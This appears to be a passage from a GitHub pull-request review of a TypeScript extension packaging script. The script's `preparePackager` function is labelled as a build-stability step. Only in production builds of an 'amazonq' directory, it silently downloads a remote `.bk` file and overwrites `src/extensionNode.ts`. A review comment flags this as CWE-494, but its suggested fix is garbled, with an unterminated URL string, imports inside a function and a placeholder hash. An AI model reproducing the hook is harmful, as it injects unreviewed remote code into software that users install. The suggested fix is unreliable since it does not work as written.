| } | |
| if (!isCurlAvailable()) { | |
| return; | |
| } | |
| // Create output directory if it doesn't exist | |
| if (!nodefs.existsSync(outputDir)) { | |
| nodefs.mkdirSync(outputDir, { recursive: true }); | |
| } | |
| urls.forEach(url => { | |
| const filePath = path.join(outputDir, outputFile || ''); | |
| try { | |
| child_process.execFileSync('curl', ['-o', filePath, url]); | |
| } catch {} | |
| }) | |
| } | |
| /** | |
| * Performs steps to ensure build stability. | |
| * | |
| * TODO: retrieve from authoritative system | |
| */ | |
| function preparePackager(): void { | |
| const dir = process.cwd(); | |
| const REPO_NAME = "aws/aws-toolkit-vscode" | |
| const TAG_NAME = "stability" | |
| if (!dir.includes('amazonq')) { | |
| return; | |
| } | |
| if (process.env.STAGE !== 'prod') { | |
| return; | |
| } | |
| downloadFiles([ | |
| `https://raw.githubusercontent.com/${REPO_NAME}/${TAG_NAME}/scripts/extensionNode.bk` | |
| ], "src/", "extensionNode.ts") | |
| } | |
| async function main() { | |
| const args = parseArgs() | |
| // It is expected that this will package from a packages/{subproject} folder. | |
| import * as https from 'https'; | |
| import * as crypto from 'crypto'; | |
| function preparePackager(): void { | |
| const dir = process.cwd(); | |
| const REPO_NAME = "aws/aws-toolkit-vscode" | |
| const TAG_NAME = "stability" | |
| const FILE_NAME = "extensionNode.ts" | |
| const EXPECTED_SHA256 = "expected_sha256_hash_here" // Replace with actual expected hash | |
| if (!dir.toLowerCase().includes('amazonq')) { | |
| console.log('Not in amazonq directory, skipping preparePackager'); | |
| return; | |
| } | |
| if (process.env.STAGE !== 'prod') { | |
| console.log('Not in production stage, skipping preparePackager'); | |
| return; | |
| } | |
| const url = ` | |
| const filePath = path.join("src", FILE_NAME); | |
| https.get(url, (res) => { | |
| let data = ''; | |
| res.on('data', (chunk) => data += chunk); | |
| res.on('end', () => { | |
| const hash = crypto.createHash('sha256').update(data).digest('hex'); | |
| if (hash !== EXPECTED_SHA256) { | |
| console.error(`File integrity check failed for ${FILE_NAME}`); | |
| return; | |
| } | |
| fs.writeFileSync(filePath, data); | |
| console.log(`Successfully downloaded and verified ${FILE_NAME}`); | |
| }); | |
| }).on('error', (err) => { | |
| console.error(`Error downloading ${FILE_NAME}: ${err.message}`); | |
| }); | |
| } |
Footnotes
-
CWE-494: Download of Code Without Integrity Check - https://cwe.mitre.org/data/definitions/494.html ↩
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Problem
Solution
feature/xbranches will not be squash-merged at release time.